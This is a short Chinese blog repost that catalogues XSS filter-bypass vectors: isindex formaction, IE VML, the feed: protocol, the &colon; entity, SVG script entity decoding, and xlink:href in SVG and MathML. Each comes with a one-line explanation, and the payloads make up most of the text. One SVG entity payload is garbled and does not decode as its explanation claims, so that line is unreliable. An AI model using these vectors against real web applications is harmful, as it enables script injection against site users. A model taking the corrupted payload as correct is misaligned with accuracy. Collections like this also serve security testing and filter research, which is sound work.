XSS Funny Vector Review

最新推荐文章于 2025-05-26 11:43:02 发布

changetjut

最新推荐文章于 2025-05-26 11:43:02 发布

阅读量1.1k

点赞数

分类专栏：信息安全

信息安全专栏收录该内容

40 篇文章

订阅专栏

本文探讨了HTML与SVG中的多种安全漏洞利用技巧，包括HTML3与HTML5混搭使用、利用IE的VML标签、Firefox对feed协议处理不当的问题、绕过XSS过滤的方法以及SVG与MathML标签中的潜在安全威胁。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

<isindex formaction=javascript:alert(/sogili/) type=submit >
HTML3与HTML5混搭

x<oval style=behavior:url(#default#vml);height=00;width=00 href=javascript:alert(/sogili/) fillcolor=red xmlns=/>
IE的VML中的标签.

<a href="feed:javascript:alert(/sogili/)">click</a>
这个是Firefix对feed协议处理不当导致的,不知道算不算bug,但用来绕过A标签的协议检测倒是个不错的办法.

<a href="javascript&colon;alert(/sogili/)">click</a>
可以绕过不少xss filter,不过IE不支持这个实体字符.

<svg><script>&#97&#4&#6&#401)</script>
SVG解析script时会将其内部实体字符进行解码.

注：由于xml编码特性。在SVG向量里面的<script>元素（或者其他CDATA元素），会先进行xml解析。因此&#x28（十六进制）或者&#40（十进制）或者&lpar；（html实体编码）会被还原成（。

<svg><script/xlink:href=data:,alert()></script>
在SVG中使用外部script时,用的是xlink:href属性,而非src.

<svg><a xlink:href="javascript:alert()" href="// www.2cto.com "></a>
SVG解析A标签的超链接地址时使用的xlink:href属性,所以href并未生效.

<math xlink:href="javascript:alert()">xxx</math>
Math,新标签,MathML规范的实现,目前只有firefox实现.

转自：http://www.2cto.com/Article/201209/152549.html